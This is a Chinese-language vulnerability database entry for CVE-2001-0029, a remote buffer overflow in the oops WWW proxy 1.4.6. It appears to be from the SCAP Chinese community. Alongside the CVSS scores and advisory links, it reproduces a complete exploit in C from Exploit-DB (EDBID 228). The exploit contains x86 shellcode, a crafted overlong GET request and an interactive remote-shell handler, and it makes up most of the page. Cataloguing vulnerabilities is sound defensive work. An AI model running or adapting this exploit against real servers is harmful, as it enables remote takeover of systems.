CVE-2001-0029
CVSS10.0
发布时间 :2001-02-12 00:00:00
修订时间 :2008-09-05 16:23:05
NMCOE    

[原文]Buffer overflow in oops WWW proxy server 1.4.6 (and possibly other versions) allows remote attackers to execute arbitrary commands via a long host or domain name that is obtained from a reverse DNS lookup.


[CNNVD]多个Oops代理服务系统缓冲区溢出漏洞(CNNVD-200102-068)

        oops WWW代理服务系统1.4.6版本(和可能其他的版本)存在缓冲区溢出漏洞。远程攻击者借助从反向DNS查找获得超长主机名或者域名执行任意命令。

- CVSS (基础分值)

CVSS分值: 10 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: [--]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0029
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2001-0029
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200102-068
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/2099
(VENDOR_ADVISORY)  BID  2099
http://zipper.paco.net/~igor/oops/ChangeLog
(UNKNOWN)  MISC  http://zipper.paco.net/~igor/oops/ChangeLog
http://xforce.iss.net/static/6122.php
(UNKNOWN)  XF  oops-dns-bo(6122)
http://archives.neohapsis.com/archives/bugtraq/2000-12/0158.html
(UNKNOWN)  BUGTRAQ  20001212 Stack too ;) Re: [pkc] remote heap buffer overflow in oops

- 漏洞信息

多个Oops代理服务系统缓冲区溢出漏洞
危急 缓冲区溢出
2001-02-12 00:00:00 2005-10-20 00:00:00
远程  
        oops WWW代理服务系统1.4.6版本(和可能其他的版本)存在缓冲区溢出漏洞。远程攻击者借助从反向DNS查找获得超长主机名或者域名执行任意命令。

- 公告与补丁

        Currently the SecurityFocus staff are not aware of any vendor supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: vuldb@securityfocus.com.
        Igor Khasilev Oops Proxy Server 1.4.22
        

- 漏洞信息 (228)

Oops! 1.4.6 (one russi4n proxy-server) Heap Buffer Overflow Exploit (EDBID:228)
bsd remote
2000-12-15 Verified
3128 diman
N/A [点击下载]
/*--oopz.c---//-------------r-3-m-0-t-3---------------\\-------------*

 TARGET	:	oops-1.4.6 (one russi4n proxy-server)
 CLASS	:	remote
 0S		:	FreeBSD 4.(0 - 2)
 AUTH0R	:	diman
 VEND0R	:	wanna payment for support. I'm not doing his job, yeh?
 DATE		:	7-11-2k
 N0TE		:	xploit was coded for fun only.
 GREETS	:	&y, fm, JU$ (all for be a gOod guys)
*/

#define	BUFADDR		0xbfafe55f	// ret
#define	OFFSET2		450		// second copy
#define	RETOFF		1363		// ip offset

#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>

/*
   I found two offsets where our shellcode can be placed.
   Since ret value is hardcoded, we should use two copies
   of shellcode. But last part of the second copy can be
   corrupted during procedure processing. Solution is to
   check current offset of the shellcode and jump from
   second copy to the first one. Something like v1r11 :)
   Also we avoids large letters in the shellcode
   and some other characters. We simple dup2(33,0) before
   execve, so be sure you are only connected if you don't
   wanna provide sh3ll for someone else =)   Enough...
*/


int
shellcode(char* buf) {
__asm__("
	call	ne0;
ne0:	popl	%eax;
	nop;
	nop;
	LEN1 = sh - ne0 ;
	leal	LEN1(%eax),%eax;
	pushl	%eax;
	pushl	8(%ebp);
	call	strcpy;
	addl	$8,%esp;
	jmp	done;


//-----s-h-e-l-l-c-o-d-e---s-t-a-r-t-s---h-e-r-e--------//

sh:	.fill 6,1,0x90;		// magic nops
	jmp	me;
retme:	popl	%esi;
	nop;
	movl	%esi,%eax;
	DELTA = huh - sh - 450;
	negl	%eax;
	leal	DELTA(%eax),%eax;
	negl	%eax;
	movl	(%eax),%ebx;
	cmpl	$0x90909090,%ebx;
	je	huh;		// we are in the first copy yet
	movl	%esi,%eax;	// jump to first copy
	leal	-450(%eax),%eax;
	jmp	*%eax;
me:	call	retme;
	
huh:	.fill	5,1,0x90;	
	jmp	call0;		// just one more (we not shure where we are)
ret0:	popl	%esi;
	movl	(%esi),%ebx;	// decrypt /bin/sh
	subl	$0x30303030,%ebx;
	movl	%ebx,(%esi);
	movl	4(%esi),%ebx;
	subl	$0x30303030,%ebx;
	movl	%ebx,4(%esi);
	xorl	%eax,%eax;
	movl	%esi,%edi;
	negl	%edi;
	leal	-7(%edi),%edi;
	negl	%edi;
	movb	%al,(%edi);	// end it with 0
	jmp	prep;

call0:	call	ret0;	
	.byte	0x5f,0x92,0x99,0x9e,0x5f,0xa3,0x98,0xee,0x03; /* /bin/sh */

dup2:	leal	-4(%esp),%esp;
	movl	%ecx,(%esp);
	leal	-4(%esp),%esp;
	movl	$-33,%eax;
	negl	%eax;
	movl	%eax,(%esp);
	movl	$-0x5a,%eax;
	negl	%eax;
	leal	-4(%esp),%esp;	
	int	$0x80;
	negl	%esp;
	leal	-0xc(%esp),%esp;
	negl	%esp;
	ret;

prep:	xorl	%ecx,%ecx;
	call	dup2;
	movb	$1,%cl;
	call	dup2;
	movb	$2,%cl;
	call	dup2;

	xorl	%eax,%eax;
	leal	-4(%esp),%esp;
	movl	%eax,(%esp);	// 0
	leal	-4(%esp),%esp;	
	movl	%esi,(%esp);	// name
	movl	%esp,%edi;
	leal	-4(%esp),%esp;	
	movl	%eax,(%esp);	// envp
	leal	-4(%esp),%esp;	
	movl	%edi,(%esp);	// av[]
	leal	-4(%esp),%esp;
	movl	%esi,(%esp);	// name
	movb	$0x3b,%al;	// execve
	leal	-4(%esp),%esp;
	int	$0x80;
	xorl	%eax,%eax;
	movl	%eax,(%esp);
	movl	%eax,%ebx;
	movb	$1,%al;		// exit
	leal	-4(%esp),%esp;
	int	$0x80;
	nop;			// hip
	nop;			// hop
	.byte	0x00;
done:;
");
}


int res(char*,struct sockaddr_in *);
void spawned_shell(int sock);


main(int ac, char** av){
#define SZ	0x2000
#define FIL	0xbf
	char buf[SZ],buf2[SZ],*pc,c;
	int i,sock;
	struct sockaddr_in sin;		
	short port=3128;
	unsigned *pu;
	memset(buf,FIL,SZ);
	shellcode(buf);
	buf[strlen(buf)]=FIL;
	pc=&buf[OFFSET2];
	shellcode(pc);
	pc+=strlen(pc);
	*pc=FIL;
	pu=(unsigned*)&buf[RETOFF];
	*pu=BUFADDR;
	buf[RETOFF+4]=0;
	strcpy(buf2,"GET http://p");
	strcat(buf2,buf);
	strcat(buf2," HTTP/1.0\r\n\r\n");
	fprintf(stderr,"oops-1.4.6 remote xpl0it for 4.x by diman.\n");
	fprintf(stderr,"use for educational purpose only.\n");
	if(ac<2) {
		fprintf(stderr,"usage: ./oopz target_host [port, def=3128]\n");
		exit(0);
	}
	pc=av[1];
	if(ac>2) port=atoi(av[2]);
	if(!res(pc,&sin)) {
		fprintf(stderr,"can't resolve %s\n",pc);
		exit(0);
	}
	sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
	sin.sin_port=htons(port);	
	if(connect(sock,(struct sockaddr*)&sin,sizeof(struct sockaddr))==-1) {
		fprintf(stderr,"can't connect %s:%d\n",pc,port);
		exit(0);
	}
	fprintf(stderr,"Connected. Sending surprise...\n");
	send(sock,buf2,strlen(buf2),0);
	spawned_shell(sock);
}


int res(char* host,struct sockaddr_in * ps)
{
	struct hostent *he;
	bzero(ps,sizeof(struct sockaddr_in));
	ps->sin_family=AF_INET;
	ps->sin_len=sizeof(struct sockaddr_in);
	if(!inet_aton(host,&ps->sin_addr))
	{	
		he=gethostbyname2(host,AF_INET);
		if(!he) return 0;
		memcpy(&ps->sin_addr,he->h_addr_list[0],sizeof(struct in_addr));
	}
	return 1;
}

/*
	Next was ripped from wildcoyote's gopher sploit.
*/
void spawned_shell(int sock){
	char buf[1024];
	fd_set rset;
	int i;
while (1)
 {
  	FD_ZERO(&rset);
  	FD_SET(sock,&rset);
  	FD_SET(STDIN_FILENO,&rset);
  	select(sock+1,&rset,NULL,NULL,NULL);
  	if (FD_ISSET(sock,&rset)) {
   		i=read(sock,buf,1024);
   		if (i <= 0){
     			fprintf(stderr,"Connection lost.\n");
     			exit(0);
   		}
   		buf[i]=0;
   		puts(buf);
  	}
  	if (FD_ISSET(STDIN_FILENO,&rset))
  	{
   		i=read(STDIN_FILENO,buf,1024);
   		if (i>0){
			buf[i]=0;
 			if(write(sock,buf,i)<0){
 				fprintf(stderr,"Connection lost.\n");
 				exit(0);
 			}
   		}
  	}
 }
}


// milw0rm.com [2000-12-15]
		

- 漏洞信息

476
oops WWW Proxy Server Reverse DNS Response Overflow
Remote / Network Access Input Manipulation
Loss of Integrity
Exploit Public

- 漏洞描述

Unknown or Incomplete

- 时间线

2000-12-12 Unknow
Unknow Unknow

- 解决方案

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete
 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站